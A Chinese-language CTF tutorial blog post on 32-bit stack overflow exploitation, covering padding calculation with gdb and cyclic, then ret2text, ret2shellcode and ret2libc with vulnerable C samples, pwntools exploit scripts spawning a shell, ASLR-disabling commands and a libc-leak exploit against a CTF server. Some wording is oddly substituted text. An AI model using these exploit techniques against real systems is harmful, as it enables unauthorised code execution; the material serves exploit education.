关于javascript:原创PWN栈溢出入门

40次阅读

共计 6101 个字符,预计需要花费 16 分钟才能阅读完成。

PWN- 栈溢出入门

溢出 padding 计算

办法 1:esp/ebp 间隔计算

  1. 溢出函数处下断点
    b main
  2. 记录 esp、ebp
EBP: 0xbffff508 --> 0x0 
ESP: 0xbffff480 --> 0x0 
  1. 找到溢出函数参数地位
0x804858c <main+95>: lea    eax,[esp+0x1c]
  1. padding = (ebp – (esp+1c)) + 4 = (0xbffff508 – 0xbffff480 – 0x1c) +4 = 112

办法 2:pattern_create

通常状况下 ebp + 4/rbp + 8 更精确

pattern_offset $ebp
pattern_offset $eip
pattern_offset $rbp
pattern_offset $rip

办法 3:cyclic

┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# cyclic 200                                                                                                                                                                                                                     148 ⨯ 1 ⚙
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
                                                                                                                                                                                                                                             
┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# gdb ret2shellcode                                                                                                                                                                                                                    1 ⚙
gdb-peda$ run
Starting program: /home/kali/Desktop/CTF/ret2shellcode 
No system for you this time !!!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
bye bye ~
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0x9 ('\t')
EDX: 0xffffffff 
ESI: 0xb7fb0000 --> 0x1e4d6c 
EDI: 0xb7fb0000 --> 0x1e4d6c 
EBP: 0x62616163 ('caab')
ESP: 0xbffff510 ("eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
EIP: 0x62616164 ('daab')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x62616164

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x62616164 in ?? ()
gdb-peda$ 
zsh: suspended  gdb ret2shellcode
                                                                                                                                                                                                                                             
┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# cyclic -l "0x62616164"                                                                                                                                                                                                         148 ⨯ 2 ⚙
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
112
                                     

栈溢出利用

ret2text

ret2text 即控制程序执行程序自身已有的的代码 (.text)

示例

// gcc -m32 -fno-stack-protector -no-pie ret2text.c -o ret2text
#include <stdio.h>
#include <string.h>

void success() {puts("SUCCESS!!!");
    system("cat flag");
}

void vulnerable() {char s[12];
  gets(s);
  puts(s);
  return;
}

int main(int argc, char **argv) {vulnerable();
  return 0;
}

.text 段存在 flag 要害信息函数

计算溢出长度
xxxxx
python 代码

from pwn import *

sh = process("./ret2text")
win = 0x8049182
sh.sendline(b'A'*24 + p32(win))
sh.interactive()

ret2shellcode

图 1

图 2

问题:如何确定 shellcode 起始地址
敞开 ASLR

ASLR(零碎开启的)

ASLR 是一种针对缓冲区溢出的平安爱护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过减少攻击者预测目标地址的难度,避免攻击者间接定位攻打代码地位,达到阻止溢出攻打的目标。在 linux 中应用此技术后,杀死某程序后从新开启,地址换。在 windows 中应用此技术后,杀死过程后从新开启,地址不换,重启才会扭转。以上 cat 命令输入的值示意:0 - 示意敞开过程地址空间随机化。1 - 示意将 mmap 的基址,stack 和 vdso 页面随机化。2 - 示意在 1 的根底上减少栈(heap)的随机化。

echo 0 > /proc/sys/kernel/randomize_va_space
echo 1 > /proc/sys/kernel/core_uses_pid
示例

#include <unistd.h>
void vuln_func()
{char buf[128];
        read(STDIN_FILENO,buf,256);
}

int main(void)
{vuln_func();
        write(STDOUT_FILENO,"hello world!\n",13);
}

1. 执行溢出确定溢出地址和 core 文件

为什么是 $esp-140-4 因为此时的 esp 指向函数返回地址
函数是执行 ret 之后才报错的,所以此时代码曾经执行实现 ret,也就是说 esp 指向(返回地址 + 4)

┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# gdb stack3 core.2936 -q                                                                                                                                                                                                             1 ⚙
Reading symbols from stack3...
(No debugging symbols found in stack3)
[New LWP 2936]
Core was generated by `./stack3'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xbf91afc0 in ?? ()
gdb-peda$ x/4wx $esp-140-4
0xbffff4c0:     0x2f68686a      0x68732f2f      0x6e69622f      0x0168e389
gdb-peda$ 
zsh: suspended  gdb stack3 core.2936 -q
#!/usr/bin/env python
from pwn import *

sh = process('./stack3')

# 办法 1
shellcode = asm(shellcraft.sh())
buf2_addr = 0xbffff4c0
print(shellcode)
pause()
sh.sendline(shellcode + b'B'*(140-len(shellcode)) + p32(buf2_addr) ) 
sh.interactive()

办法 2:

┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# gdb stack3 core.2961 -q                                                                                                                                                                                                             6 ⚙
Reading symbols from stack3...
(No debugging symbols found in stack3)
[New LWP 2961]
Core was generated by `./stack3'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xbf91afc0 in ?? ()
gdb-peda$ x/4wx $esp
0xbffff550:     0xbffff50a      0x00000000      0x00000000      0xb7de9e46
gdb-peda$ 



#!/usr/bin/env python
from pwn import *

sh = process('./stack3')
# 办法 2
buf2_addr = 0xbffff550 # 就是 esp 的值
print(shellcode)
pause()
sh.sendline(b'b'*140+ p32(buf2_addr)  + shellcode) 
sh.interactive()

┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# python3 stack3.py                                                                                                                                                                                                                   3 ⚙
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Starting local process './stack3': pid 3037
b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root),143(kaboxer)
$ 
[*] Interrupted
[*] Stopped process './stack3' (pid 3037)

ret2libc


例 1
IDA 剖析

sh_addr = 0x08048720

system_addr = 0x08048460

padding = 112

exp

from pwn import *

sh = process("./ret2libc1")

binsh = 0x08048720

system_plt = 0x08048460

whatever_addr = 0x11111111

payload = b"a" * 112
payload += p32(system_plt)
payload += p32(whatever_addr)# 这里就是调用 system 的返回地址,没有实际意义
payload += p32(binsh)

sh.sendline(payload)

sh.interactive()

例 2

checksec
xxxxx

计算 padding = 112

.bss buf2 = 0x0804A080

gets = 08048460

system = 08048490

栈状况剖析

exp

from pwn import *

sh = process("./ret2libc2")

get_addr = 0x08048460
buf_addr = 0x0804A080
system_addr = 0x08048490

payload = b"Q" * 112
payload += p32(get_addr)
payload += p32(system_addr)
payload += p32(buf_addr)
payload += p32(buf_addr)

sh.sendline(payload)
sh.sendline("/bin/sh")

sh.interactive()

exp2

from pwn import *

sh = process("./ret2libc2")
elf = ELF("./ret2libc2")

get_addr = elf.plt['gets']
system_addr = elf.plt['system']
buf_addr = elf.symbols['buf2']

payload = b"Q" * 112
payload += p32(get_addr)
payload += p32(system_addr)
payload += p32(buf_addr)
payload += p32(buf_addr)

sh.sendline(payload)
sh.sendline("/bin/sh")

sh.interactive()

例 3

函数基址 base = A 函数 got – A 函数 libc = B 函数 got – B 函数 libc

xctf level3

libc_write = 0x000D43C0

libc_system = 0x0003A940

libc_bin = 0x0015902B

1.    from pwn import *  
2.       
3.    p=remote('111.200.241.244',65388)  
4.    elf=ELF('./level3')  
5.    libc = ELF('./libc_32.so.6')  
6.       
7.    write_plt=elf.plt['write']  
8.    write_got=elf.got['write']  
9.    main_addr=elf.sym['main']  
10.       
11.    p.recvuntil(":\n")  
12.    payload1=b'A'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)  
13.    p.sendline(payload1)  
14.       
15.    write_got_addr=u32(p.recv())  
16.       
17.    libc_write = 0x000D43C0  
18.    libc_system = 0x0003A940  
19.    libc_bin = 0x0015902B  
20.       
21.    # libc_base=write_got_addr-libc.sym['write']  
22.    libc_base=write_got_addr-libc_write  
23.    system_addr = libc_base+libc_system  
24.    # system_addr = libc_base+libc.sym['system']  
25.       
26.    bin_sh_addr = libc_base + 0x15902b  
27.    payload2=b'A'*(0x88+4)+p32(system_addr)+p32(0x12341234)+p32(bin_sh_addr)  
28.    p.recvuntil(":\n")  
29.    p.sendline(payload2)  
30.    p.interactive()  

正文完
 0